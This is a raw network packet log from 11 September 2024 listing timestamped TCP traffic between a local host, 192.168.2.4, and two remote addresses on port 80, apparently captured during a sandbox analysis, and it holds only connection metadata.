Sep 11, 2024 16:22:18.678793907 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678827047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678834915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678848982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678855896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678869963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678872108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678875923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678890944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678891897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678900003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678905010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678915024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678927898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678956985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.679477930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679486036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679507971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679526091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.679552078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.679610014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679616928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679631948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679637909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679652929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.679663897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.679692984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.680792093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680799961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680815935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680849075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.680869102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680876970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680891037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680897951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680906057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680918932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.680957079 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.680983067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.680990934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681005001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681010962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681026936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681029081 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681047916 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681058884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681226969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681281090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681288958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681302071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681310892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681317091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681330919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681356907 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681377888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681385994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681392908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681397915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.681420088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.681442976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.685801983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686026096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686032057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686039925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686047077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686063051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686070919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686081886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686085939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686090946 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686103106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686110973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686111927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686117887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686125040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686141014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686147928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686153889 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686155081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686177015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686188936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686188936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686194897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686321974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686328888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686342955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686359882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686368942 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686389923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686397076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686398029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686404943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686413050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686431885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686446905 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686506033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686511993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686525106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686532974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686539888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686549902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686569929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686595917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686603069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686616898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686625004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686642885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686662912 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686700106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686707020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686722040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686731100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686745882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.686748028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686769962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.686784983 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.689728022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689735889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689743996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689785004 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.689791918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689800978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689809084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689812899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.689815998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.689825058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.689877033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.689974070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.690118074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.692162037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692169905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692183971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692190886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692219019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.692244053 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.692259073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692265987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692281961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692286968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.692312002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.692325115 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.719414949 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.734375000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734431982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734445095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734453917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734467983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734474897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734482050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734544992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734581947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734710932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734719038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734725952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734755039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734770060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734778881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734793901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734833002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734846115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734853983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734862089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734869957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.734901905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.734901905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735001087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735007048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735028028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735035896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735049009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735054970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735058069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735073090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735076904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735080957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735105038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735120058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735296011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735304117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735317945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735327959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735371113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735371113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735410929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735418081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735426903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735431910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735537052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735544920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735551119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735559940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735569000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735585928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735604048 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735711098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735718966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735727072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735764980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735773087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735779047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735785961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735788107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735794067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735801935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735821962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735824108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735831976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735845089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735848904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735852957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735869884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735877037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735883951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735893011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735898018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735898972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735914946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735923052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735932112 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735932112 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735940933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735949039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.735958099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.735981941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736191034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736196995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736206055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736236095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736285925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736293077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736308098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736315012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736330032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736335039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736349106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736386061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736422062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736428976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736443043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736459970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736468077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736469030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736476898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736485004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736496925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736505985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736521959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736901999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736910105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736923933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736942053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736949921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736963987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736972094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736970901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736984968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.736989975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.736999035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737010002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737054110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737076998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737083912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737098932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737131119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737179041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737179995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737186909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737201929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737209082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737222910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737231016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737234116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737248898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737265110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737282038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737289906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737303972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737330914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737332106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.737339973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.737354040 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.738823891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.760672092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760684967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760694981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760793924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760806084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760814905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760838032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.760868073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.760936975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.764142036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764149904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764164925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764183044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764198065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764205933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764214039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764235020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764235020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764267921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764267921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764307022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764314890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764329910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764345884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764353991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764374971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764386892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764395952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764395952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764404058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764414072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764420986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764430046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764441013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764441013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764472008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764513969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764529943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764544964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764553070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764566898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764575005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764588118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764595985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764595985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764595985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764631987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764631987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764664888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764672995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764681101 CEST	80	49734	147.45.44.104	192.168.2.4
